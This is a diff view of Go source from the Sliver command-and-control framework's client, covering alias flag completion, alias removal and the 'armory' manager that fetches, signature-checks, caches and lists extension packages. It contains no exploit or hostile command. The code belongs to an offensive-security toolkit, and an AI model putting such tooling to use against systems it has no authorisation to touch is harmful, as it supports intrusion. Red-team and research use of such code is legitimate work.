flagCompletion := makeAliasFlagNameCompletion(alias)
// Build value completions for each argument type
valueCompletions := make(map[string]carapace.Action)
for _, arg := range alias.Arguments {
// If choices are defined, use them for completion
if len(arg.Choices) > 0 {
valueCompletions[arg.Name] = carapace.ActionValues(arg.Choices...).Tag("choices")
} else {
// Fall back to type-based completion
switch arg.Type {
case "file":
valueCompletions[arg.Name] = carapace.ActionFiles().Tag("file path")
case "bool":
valueCompletions[arg.Name] = carapace.ActionValues("true", "false").Tag("boolean")
default:
valueCompletions[arg.Name] = carapace.ActionValues()
}
}
}
// Use DashAnyCompletion with a smart action that determines context
comps.DashAnyCompletion(
carapace.ActionCallback(func(c carapace.Context) carapace.Action {
// If typing a flag (starts with -)
if strings.HasPrefix(c.Value, "-") {
return flagCompletion
}
// If previous arg was a flag, complete its value
if len(c.Args) > 0 {
lastArg := c.Args[len(c.Args)-1]
if strings.HasPrefix(lastArg, "-") {
flagName := strings.TrimLeft(lastArg, "-")
if action, ok := valueCompletions[flagName]; ok {
return action
}
}
}
// Default: show flag names
return flagCompletion
}),
)
}
// makeAliasFlagNameCompletion creates completion for flag names
func makeAliasFlagNameCompletion(alias *AliasManifest) carapace.Action {
var results []string
for _, arg := range alias.Arguments {
flagName := fmt.Sprintf("--%s", arg.Name)
desc := arg.Desc
if arg.Optional {
desc = fmt.Sprintf("[optional] %s", desc)
}
desc = fmt.Sprintf("(%s) %s", arg.Type, desc)
results = append(results, flagName, desc)
}
return carapace.ActionValuesDescribed(results...).Tag("alias arguments")
}
+8 -6
View File
@@ -24,14 +24,15 @@ import (
"os" "os"
"path/filepath" "path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/spf13/cobra"
) )
// AliasesRemoveCmd - Locally load a alias into the Sliver shell. // AliasesRemoveCmd - Locally load a alias into the Sliver shell.
func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
name := args[0] name := args[0]
// name := ctx.Args.String("name") // name := ctx.Args.String("name")
if name == "" { if name == "" {
@@ -39,7 +40,8 @@ func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
return return
} }
confirm := false confirm := false
_ = forms.Confirm(fmt.Sprintf("Remove '%s' alias?", name), &confirm) prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' alias?", name)}
survey.AskOne(prompt, &confirm)
if !confirm { if !confirm {
return return
} }
@@ -52,8 +54,8 @@ func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
} }
} }
// RemoveAliasByCommandName - Remove an alias by command name. // RemoveAliasByCommandName - Remove an alias by command name
func RemoveAliasByCommandName(commandName string, con *console.SliverClient) error { func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClient) error {
if commandName == "" { if commandName == "" {
return errors.New("command name is required") return errors.New("command name is required")
} }
-16
View File
@@ -1,16 +0,0 @@
# client/command/armory
## Overview
Implements the 'armory' command group for the Sliver client console. Handlers map Cobra invocations to armory workflows such as install, manage, parsers, and search.
## Go Files
- `armory.go` – Maintains the armory cache lifecycle, fetching package metadata, verifying signatures, and presenting bundle listings.
- `armory_test.go` *(tests)* – Placeholder for armory command tests; currently used to keep the package's test harness wired up.
- `commands.go` – Declares the Cobra command hierarchy for armory actions and binds shared flag/completion plumbing.
- `install.go` – Resolves dependencies and installs aliases or extensions from cached metadata, prompting when overwriting existing packages.
- `manage.go` – Implements management helpers for viewing, adding, verifying, and persisting armory configurations.
- `parsers.go` – Provides parsers and HTTP helpers for retrieving armory indexes and packages, including Minisign verification.
- `search.go` – Implements the regex-driven search command that filters cached armory packages.
- `update.go` – Calculates available package updates, presents options to the user, and orchestrates update installation.
+87 -377
View File
@@ -23,7 +23,6 @@ import (
"errors" "errors"
"fmt" "fmt"
"net/url" "net/url"
"slices"
"sync" "sync"
"time" "time"
@@ -55,24 +54,13 @@ type ArmoryPackage struct {
RepoURL string `json:"repo_url"` RepoURL string `json:"repo_url"`
PublicKey string `json:"public_key"` PublicKey string `json:"public_key"`
IsAlias bool `json:"-"` IsAlias bool `json:"-"`
ArmoryName string `json:"-"`
/*
With support for multiple armories, the command name of a package
is not unique anymore, so we need something that is unique
to be able to keep track of packages.
This ID will be a hash calculated from properties of the package.
*/
ID string `json:"-"`
ArmoryPK string `json:"-"`
} }
// ArmoryBundle - A list of packages // ArmoryBundle - A list of packages
type ArmoryBundle struct { type ArmoryBundle struct {
Name string `json:"name"` Name string `json:"name"`
Packages []string `json:"packages"` Packages []string `json:"packages"`
ArmoryName string `json:"-"`
} }
// ArmoryHTTPConfig - Configuration for armory HTTP client // ArmoryHTTPConfig - Configuration for armory HTTP client
@@ -101,75 +89,48 @@ type pkgCacheEntry struct {
Alias *alias.AliasManifest Alias *alias.AliasManifest
Extension *extensions.ExtensionManifest Extension *extensions.ExtensionManifest
LastErr error LastErr error
// This corresponds to Pkg.ID
ID string
} }
var ( var (
// public key -> armoryCacheEntry // public key -> armoryCacheEntry
indexCache = sync.Map{} indexCache = sync.Map{}
// package ID -> armoryPkgCacheEntry // public key -> armoryPkgCacheEntry
pkgCache = sync.Map{} pkgCache = sync.Map{}
// public key -> assets.ArmoryConfig
currentArmories = sync.Map{}
// cacheTime - How long to cache the index/pkg manifests // cacheTime - How long to cache the index/pkg manifests
//cacheTime = time.Hour cacheTime = time.Hour
cacheTime = 2 * time.Minute
// This will kill a download if exceeded so needs to be large // This will kill a download if exceeded so needs to be large
defaultTimeout = 15 * time.Minute defaultTimeout = 15 * time.Minute
// Track whether armories have been initialized so that we know if we need to pull from the config
armoriesInitialized = false
// Track whether the default armory has been removed by the user (this is needed to prevent it from being readded in if they have removed it)
defaultArmoryRemoved = false
) )
// ArmoryCmd - The main armory command // ArmoryCmd - The main armory command
func ArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func ArmoryCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
armoriesConfig := getCurrentArmoryConfiguration() armoriesConfig := assets.GetArmoriesConfig()
if len(armoriesConfig) == 1 { con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig))
con.Printf("Reading armory index ... ")
} else {
con.PrintInfof("Reading %d armory indexes ... ", len(armoriesConfig))
}
clientConfig := parseArmoryHTTPConfig(cmd) clientConfig := parseArmoryHTTPConfig(cmd)
indexes := fetchIndexes(clientConfig) indexes := fetchIndexes(armoriesConfig, clientConfig)
if len(indexes) != len(armoriesConfig) { if len(indexes) != len(armoriesConfig) {
con.Printf("errors!\n")
indexCache.Range(func(key, value interface{}) bool { indexCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(indexCacheEntry) cacheEntry := value.(indexCacheEntry)
if cacheEntry.LastErr != nil { if cacheEntry.LastErr != nil {
con.PrintErrorf("%s (%s) - %s\n", cacheEntry.ArmoryConfig.Name, cacheEntry.RepoURL, cacheEntry.LastErr) con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
} }
return true return true
}) })
} else { } else {
con.Printf("done!\n") con.Printf("done!\n")
} }
armoriesInitialized = true
if len(indexes) == 0 {
con.PrintInfof("No indexes found\n")
return
}
aliases := []*alias.AliasManifest{}
exts := []*extensions.ExtensionManifest{}
for _, index := range indexes { if 0 < len(indexes) {
con.PrintInfof("Fetching package information ... ")
fetchPackageSignatures(indexes, clientConfig)
errorCount := 0 errorCount := 0
con.PrintInfof("Reading package information for armory %s ... ", index.ArmoryConfig.Name) aliases := []*alias.AliasManifest{}
fetchPackageSignatures(index, clientConfig) exts := []*extensions.ExtensionManifest{}
pkgCache.Range(func(key, value interface{}) bool { pkgCache.Range(func(key, value interface{}) bool {
cacheEntry, ok := value.(pkgCacheEntry) cacheEntry := value.(pkgCacheEntry)
if !ok {
// Something is wrong with this entry
pkgCache.Delete(value)
return true
}
if cacheEntry.ArmoryConfig.PublicKey != index.ArmoryConfig.PublicKey {
return true
}
if cacheEntry.LastErr != nil { if cacheEntry.LastErr != nil {
errorCount++ errorCount++
if errorCount == 0 { if errorCount == 0 {
@@ -188,52 +149,32 @@ func ArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
if errorCount == 0 { if errorCount == 0 {
con.Printf("done!\n") con.Printf("done!\n")
} }
} if 0 < len(aliases) || 0 < len(exts) {
if 0 < len(aliases) || 0 < len(exts) { con.Println()
PrintArmoryPackages(aliases, exts, con)
} else {
con.PrintInfof("No packages found\n")
}
con.Println() con.Println()
PrintArmoryPackages(aliases, exts, con) bundles := bundlesInCache()
if 0 < len(bundles) {
PrintArmoryBundles(bundles, con)
} else {
con.PrintInfof("No bundles found\n")
}
} else { } else {
con.PrintInfof("No packages found\n") con.PrintInfof("No indexes found\n")
}
con.Println()
bundles := bundlesInCache()
if 0 < len(bundles) {
PrintArmoryBundles(bundles, con)
} else {
con.PrintInfof("No bundles found\n")
} }
} }
func refresh(clientConfig ArmoryHTTPConfig) { func refresh(clientConfig ArmoryHTTPConfig) {
getCurrentArmoryConfiguration() armoriesConfig := assets.GetArmoriesConfig()
indexes := fetchIndexes(clientConfig) indexes := fetchIndexes(armoriesConfig, clientConfig)
for _, index := range indexes { fetchPackageSignatures(indexes, clientConfig)
fetchPackageSignatures(index, clientConfig)
}
} }
func countUniqueCommandsFromManifests(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest) (int, int) { func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
uniqueAliasNames := []string{}
uniqueExtensionNames := []string{}
for _, alias := range aliases {
if !slices.Contains(uniqueAliasNames, alias.CommandName) {
uniqueAliasNames = append(uniqueAliasNames, alias.CommandName)
}
}
for _, ext := range exts {
for _, cmd := range ext.ExtCommand {
if !slices.Contains(uniqueExtensionNames, cmd.CommandName) {
uniqueExtensionNames = append(uniqueExtensionNames, cmd.CommandName)
}
}
}
return len(uniqueAliasNames), len(uniqueExtensionNames)
}
func packageManifestsInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
aliases := []*alias.AliasManifest{} aliases := []*alias.AliasManifest{}
exts := []*extensions.ExtensionManifest{} exts := []*extensions.ExtensionManifest{}
pkgCache.Range(func(key, value interface{}) bool { pkgCache.Range(func(key, value interface{}) bool {
@@ -250,125 +191,6 @@ func packageManifestsInCache() ([]*alias.AliasManifest, []*extensions.ExtensionM
return aliases, exts return aliases, exts
} }
func armoryLookupByName(name string) *assets.ArmoryConfig {
var result *assets.ArmoryConfig
indexCache.Range(func(key, value interface{}) bool {
indexEntry, ok := value.(indexCacheEntry)
if !ok {
// Keep going
return true
}
if indexEntry.ArmoryConfig.Name == name {
result = indexEntry.ArmoryConfig
return false
}
return true
})
return result
}
// Returns the packages in the cache with a given name
func packageCacheLookupByName(name string) []*pkgCacheEntry {
var result []*pkgCacheEntry = make([]*pkgCacheEntry, 0)
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry, ok := value.(pkgCacheEntry)
if !ok {
// Keep going
return true
}
if cacheEntry.Pkg.Name == name {
result = append(result, &cacheEntry)
}
return true
})
return result
}
// Returns the packages in the cache for a given command name
func packageCacheLookupByCmd(commandName string) []*pkgCacheEntry {
var result []*pkgCacheEntry = make([]*pkgCacheEntry, 0)
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry, ok := value.(pkgCacheEntry)
if !ok {
// Keep going
return true
}
if cacheEntry.Pkg.CommandName == commandName {
result = append(result, &cacheEntry)
}
return true
})
return result
}
// Returns the package in the cache for a given command name and armory
func packageCacheLookupByCmdAndArmory(commandName string, armoryPublicKey string) *pkgCacheEntry {
var result *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry, ok := value.(pkgCacheEntry)
if !ok {
// Keep going
return true
}
if cacheEntry.ArmoryConfig.PublicKey == armoryPublicKey && cacheEntry.Pkg.CommandName == commandName {
result = &cacheEntry
// Stop iterating
return false
}
return true
})
return result
}
// Returns the package hashes in the cache for a given armory
func packageHashLookupByArmory(armoryPublicKey string) []string {
result := []string{}
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry, ok := value.(pkgCacheEntry)
if !ok {
// Keep going
return true
}
if cacheEntry.ArmoryConfig.PublicKey == armoryPublicKey {
result = append(result, cacheEntry.ID)
}
return true
})
return result
}
func packageCacheLookupByID(packageID string) *pkgCacheEntry {
var packageEntry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry, ok := value.(pkgCacheEntry)
if !ok {
// Keep going
return true
}
if cacheEntry.LastErr == nil {
if cacheEntry.ID == packageID {
packageEntry = &cacheEntry
// Stop iterating
return false
}
}
return true
})
return packageEntry
}
func bundlesInCache() []*ArmoryBundle { func bundlesInCache() []*ArmoryBundle {
bundles := []*ArmoryBundle{} bundles := []*ArmoryBundle{}
indexCache.Range(func(key, value interface{}) bool { indexCache.Range(func(key, value interface{}) bool {
@@ -385,7 +207,7 @@ func AliasExtensionOrBundleCompleter() carapace.Action {
var action carapace.Action var action carapace.Action
results := []string{} results := []string{}
aliases, exts := packageManifestsInCache() aliases, exts := packagesInCache()
bundles := bundlesInCache() bundles := bundlesInCache()
for _, aliasPkg := range aliases { for _, aliasPkg := range aliases {
@@ -420,7 +242,7 @@ func AliasExtensionOrBundleCompleter() carapace.Action {
} }
// PrintArmoryPackages - Prints the armory packages // PrintArmoryPackages - Prints the armory packages
func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverClient) { func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
width, _, err := term.GetSize(0) width, _, err := term.GetSize(0)
if err != nil { if err != nil {
width = 1 width = 1
@@ -428,13 +250,12 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
tw := table.NewWriter() tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con)) tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.StyleBold.Render("Packages")) tw.SetTitle(console.Bold + "Packages" + console.Normal)
urlMargin := 150 // Extra margin needed to show URL column urlMargin := 150 // Extra margin needed to show URL column
if con.Settings.SmallTermWidth+urlMargin < width { if con.Settings.SmallTermWidth+urlMargin < width {
tw.AppendHeader(table.Row{ tw.AppendHeader(table.Row{
"Armory",
"Command Name", "Command Name",
"Version", "Version",
"Type", "Type",
@@ -443,7 +264,6 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
}) })
} else { } else {
tw.AppendHeader(table.Row{ tw.AppendHeader(table.Row{
"Armory",
"Command Name", "Command Name",
"Version", "Version",
"Type", "Type",
@@ -453,11 +273,10 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
// Columns start at 1 for some dumb reason // Columns start at 1 for some dumb reason
tw.SortBy([]table.SortBy{ tw.SortBy([]table.SortBy{
{Number: 2, Mode: table.Asc}, {Number: 1, Mode: table.Asc},
}) })
type pkgInfo struct { type pkgInfo struct {
ArmoryName string
CommandName string CommandName string
Version string Version string
Type string Type string
@@ -465,10 +284,8 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
URL string URL string
} }
entries := []pkgInfo{} entries := []pkgInfo{}
for _, aliasPkg := range aliases { for _, aliasPkg := range aliases {
entries = append(entries, pkgInfo{ entries = append(entries, pkgInfo{
ArmoryName: aliasPkg.ArmoryName,
CommandName: aliasPkg.CommandName, CommandName: aliasPkg.CommandName,
Version: aliasPkg.Version, Version: aliasPkg.Version,
Type: "Alias", Type: "Alias",
@@ -479,7 +296,6 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
for _, extm := range exts { for _, extm := range exts {
for _, extension := range extm.ExtCommand { for _, extension := range extm.ExtCommand {
entries = append(entries, pkgInfo{ entries = append(entries, pkgInfo{
ArmoryName: extm.ArmoryName,
CommandName: extension.CommandName, CommandName: extension.CommandName,
Version: extension.Manifest.Version, Version: extension.Manifest.Version,
Type: "Extension", Type: "Extension",
@@ -493,26 +309,24 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
rows := []table.Row{} rows := []table.Row{}
for _, pkg := range entries { for _, pkg := range entries {
style := console.StyleNormal color := console.Normal
if extensions.CmdExists(pkg.CommandName, sliverMenu.Command) { if extensions.CmdExists(pkg.CommandName, sliverMenu.Command) {
style = console.StyleGreen color = console.Green
} }
if con.Settings.SmallTermWidth+urlMargin < width { if con.Settings.SmallTermWidth+urlMargin < width {
rows = append(rows, table.Row{ rows = append(rows, table.Row{
style.Render(pkg.ArmoryName), fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
style.Render(pkg.CommandName), fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
style.Render(pkg.Version), fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
style.Render(pkg.Type), fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
style.Render(pkg.Help), fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
style.Render(pkg.URL),
}) })
} else { } else {
rows = append(rows, table.Row{ rows = append(rows, table.Row{
style.Render(pkg.ArmoryName), fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
style.Render(pkg.CommandName), fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
style.Render(pkg.Version), fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
style.Render(pkg.Type), fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
style.Render(pkg.Help),
}) })
} }
} }
@@ -521,12 +335,11 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
} }
// PrintArmoryBundles - Prints the armory bundles // PrintArmoryBundles - Prints the armory bundles
func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverClient) { func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClient) {
tw := table.NewWriter() tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con)) tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.StyleBold.Render("Bundles")) tw.SetTitle(console.Bold + "Bundles" + console.Normal)
tw.AppendHeader(table.Row{ tw.AppendHeader(table.Row{
"Armory Name",
"Name", "Name",
"Contains", "Contains",
}) })
@@ -552,7 +365,6 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverClient) {
} }
} }
tw.AppendRow(table.Row{ tw.AppendRow(table.Row{
bundle.ArmoryName,
bundle.Name, bundle.Name,
packages, packages,
}) })
@@ -590,19 +402,12 @@ func parseArmoryHTTPConfig(cmd *cobra.Command) ArmoryHTTPConfig {
// fetch armory indexes, only returns indexes that were fetched successfully // fetch armory indexes, only returns indexes that were fetched successfully
// errors are still in the cache objects however and can be checked // errors are still in the cache objects however and can be checked
func fetchIndexes(clientConfig ArmoryHTTPConfig) []ArmoryIndex { func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) []ArmoryIndex {
wg := &sync.WaitGroup{} wg := &sync.WaitGroup{}
// Try to get a max of 10 indexes at a time for _, armoryConfig := range armoryConfigs {
currentRequests := make(chan struct{}, 10) wg.Add(1)
currentArmories.Range(func(key, value interface{}) bool { go fetchIndex(armoryConfig, clientConfig, wg)
armoryEntry := value.(assets.ArmoryConfig) }
if armoryEntry.Enabled {
wg.Add(1)
currentRequests <- struct{}{}
go fetchIndex(&armoryEntry, currentRequests, clientConfig, wg)
}
return true
})
wg.Wait() wg.Wait()
indexes := []ArmoryIndex{} indexes := []ArmoryIndex{}
indexCache.Range(func(key, value interface{}) bool { indexCache.Range(func(key, value interface{}) bool {
@@ -615,19 +420,13 @@ func fetchIndexes(clientConfig ArmoryHTTPConfig) []ArmoryIndex {
return indexes return indexes
} }
func fetchIndex(armoryConfig *assets.ArmoryConfig, requestChannel chan struct{}, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) { func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
defer wg.Done() defer wg.Done()
defer func() {
<-requestChannel
}()
cacheEntry, ok := indexCache.Load(armoryConfig.PublicKey) cacheEntry, ok := indexCache.Load(armoryConfig.PublicKey)
if ok { if ok {
cached := cacheEntry.(indexCacheEntry) cached := cacheEntry.(indexCacheEntry)
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache { if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
return return
} else if time.Since(cached.Fetched) >= cacheTime {
// If an index has gone stale, remove it from the index cache
indexCache.Delete(armoryConfig.PublicKey)
} }
} }
@@ -664,95 +463,40 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, requestChannel chan struct{},
} }
} }
func calculateHashesForIndex(index ArmoryIndex) []string { func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
result := []string{} wg := &sync.WaitGroup{}
for _, index := range indexes {
for _, pkg := range index.Aliases { for _, armoryPkg := range index.Extensions {
result = append(result, calculatePackageHash(pkg)) wg.Add(1)
} armoryPkg.IsAlias = false
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
for _, pkg := range index.Extensions { }
result = append(result, calculatePackageHash(pkg)) for _, armoryPkg := range index.Aliases {
} wg.Add(1)
armoryPkg.IsAlias = true
return result go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
}
func makePackageCacheConsistent(index ArmoryIndex) {
packagesToRemove := []string{}
// Get the packages for the armory out of the cache
cacheHashesForArmory := packageHashLookupByArmory(index.ArmoryConfig.PublicKey)
indexHashesForArmory := calculateHashesForIndex(index)
if len(cacheHashesForArmory) > len(indexHashesForArmory) {
// Then there are packages in the cache that do not exist in the armory
if len(indexHashesForArmory) == 0 {
packagesToRemove = cacheHashesForArmory
} else {
for _, packageHash := range indexHashesForArmory {
if !slices.Contains(cacheHashesForArmory, packageHash) {
packagesToRemove = append(packagesToRemove, packageHash)
}
}
} }
} }
// The remaining case of there being packages in the armory that do not exist in the cache
// will have to be solved with fetchPackageSignatures, and that function calls this one
// after fetching signatures and storing them in the cache, so that case should not apply
for _, packageHash := range packagesToRemove {
pkgCache.Delete(packageHash)
}
}
func fetchPackageSignatures(index ArmoryIndex, clientConfig ArmoryHTTPConfig) {
wg := &sync.WaitGroup{}
// Be kind to armories and limit concurrent requests to 10
// This is an arbritrary number and we may have to tweak it if it causes problems
currentRequests := make(chan struct{}, 10)
for _, armoryPkg := range index.Extensions {
wg.Add(1)
currentRequests <- struct{}{}
armoryPkg.IsAlias = false
go fetchPackageSignature(wg, currentRequests, index.ArmoryConfig, armoryPkg, clientConfig)
}
for _, armoryPkg := range index.Aliases {
wg.Add(1)
currentRequests <- struct{}{}
armoryPkg.IsAlias = true
go fetchPackageSignature(wg, currentRequests, index.ArmoryConfig, armoryPkg, clientConfig)
}
wg.Wait() wg.Wait()
// If packages were deleted from the index, make sure the cache is consistent
makePackageCacheConsistent(index)
} }
func fetchPackageSignature(wg *sync.WaitGroup, requestChannel chan struct{}, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) { func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
defer wg.Done() defer wg.Done()
defer func() { cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
<-requestChannel
}()
cacheEntry, ok := pkgCache.Load(armoryPkg.ID)
if ok { if ok {
cached := cacheEntry.(pkgCacheEntry) cached := cacheEntry.(pkgCacheEntry)
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache { if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
return return
} else if time.Since(cached.Fetched) >= cacheTime {
// If a package has gone stale, remove it from the package cache
pkgCache.Delete(armoryPkg.ID)
} }
} }
pkgCacheEntry := &pkgCacheEntry{ pkgCacheEntry := &pkgCacheEntry{
ArmoryConfig: armoryConfig, ArmoryConfig: armoryConfig,
RepoURL: armoryPkg.RepoURL, RepoURL: armoryPkg.RepoURL,
ID: armoryPkg.ID,
} }
defer func() { defer func() {
pkgCacheEntry.Fetched = time.Now() pkgCacheEntry.Fetched = time.Now()
pkgCache.Store(armoryPkg.ID, *pkgCacheEntry) pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
}() }()
repoURL, err := url.Parse(armoryPkg.RepoURL) repoURL, err := url.Parse(armoryPkg.RepoURL)
@@ -784,53 +528,19 @@ func fetchPackageSignature(wg *sync.WaitGroup, requestChannel chan struct{}, arm
if armoryPkg != nil { if armoryPkg != nil {
pkgCacheEntry.Pkg = *armoryPkg pkgCacheEntry.Pkg = *armoryPkg
} }
if err == nil {
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment) manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
if err != nil { if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err) pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
return return
}
if armoryPkg.IsAlias {
pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
pkgCacheEntry.Alias.ArmoryName = armoryConfig.Name
pkgCacheEntry.Alias.ArmoryPK = armoryConfig.PublicKey
} else {
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
pkgCacheEntry.Extension.ArmoryName = armoryConfig.Name
pkgCacheEntry.Extension.ArmoryPK = armoryConfig.PublicKey
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
}
}
func clearAllCaches() {
currentArmories.Range(func(key, value any) bool {
currentArmories.Delete(key)
return true
})
indexCache.Range(func(key, value any) bool {
indexCache.Delete(key)
return true
})
pkgCache.Range(func(key, value any) bool {
pkgCache.Delete(key)
return true
})
}
func getArmoryPublicKey(armoryName string) string {
// Find PK for the armory name
armoryPK := ""
currentArmories.Range(func(key, value any) bool {
armoryEntry := value.(assets.ArmoryConfig)
if armoryEntry.Name == armoryName {
armoryPK = armoryEntry.PublicKey
return false
} }
return true if armoryPkg.IsAlias {
}) pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
} else {
return armoryPK pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
}
}
} }
-211
View File
@@ -1,211 +0,0 @@
package armory
import (
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
)
// Commands returns the `armory` command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
armoryCmd := &cobra.Command{
Use: consts.ArmoryStr,
Short: "Automatically download and install extensions/aliases",
Long: help.GetHelpFor([]string{consts.ArmoryStr}),
Run: func(cmd *cobra.Command, args []string) {
ArmoryCmd(cmd, con, args)
},
GroupID: consts.GenericHelpGroup,
}
flags.Bind("connection", true, armoryCmd, func(f *pflag.FlagSet) {
f.BoolP("insecure", "I", false, "skip tls certificate validation")
f.StringP("proxy", "p", "", "specify a proxy url (e.g. http://localhost:8080)")
f.BoolP("ignore-cache", "c", false, "ignore metadata cache, force refresh")
f.StringP("timeout", "t", "15m", "download timeout")
})
flags.BindFlagCompletions(armoryCmd, func(comp *carapace.ActionMap) {
(*comp)["proxy"] = completers.LocalProxyCompleter()
})
armoryInstallCmd := &cobra.Command{
Use: consts.InstallStr,
Short: "Install an alias or extension",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.InstallStr}),
Args: cobra.RangeArgs(0, 1),
Run: func(cmd *cobra.Command, args []string) {
ArmoryInstallCmd(cmd, con, args)
},
}
flags.Bind("", false, armoryInstallCmd, func(f *pflag.FlagSet) {
f.BoolP("force", "f", false, "force installation of package, overwriting the package if it exists")
f.StringP("armory", "a", "", "name of armory to install package from")
})
armoryCmd.AddCommand(armoryInstallCmd)
flags.NewCompletions(armoryInstallCmd).PositionalCompletion(
AliasExtensionOrBundleCompleter().Usage("name of the extension or alias to install"),
)
armoryUpdateCmd := &cobra.Command{
Use: consts.UpdateStr,
Short: "Update installed aliases and extensions",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.UpdateStr}),
Run: func(cmd *cobra.Command, args []string) {
ArmoryUpdateCmd(cmd, con, args)
},
}
flags.Bind("", false, armoryUpdateCmd, func(f *pflag.FlagSet) {
f.StringP("armory", "a", "", "name of armory to get updates from")
})
armoryCmd.AddCommand(armoryUpdateCmd)
armorySearchCmd := &cobra.Command{
Use: consts.SearchStr,
Short: "Search for aliases and extensions by name (regex)",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.SearchStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
ArmorySearchCmd(cmd, con, args)
},
}
armoryCmd.AddCommand(armorySearchCmd)
flags.NewCompletions(armorySearchCmd).PositionalCompletion(carapace.ActionValues().Usage("a name regular expression"))
armoryInfoCmd := &cobra.Command{
Use: consts.InfoStr,
Short: "View configured armories or details about a specific armory or package",
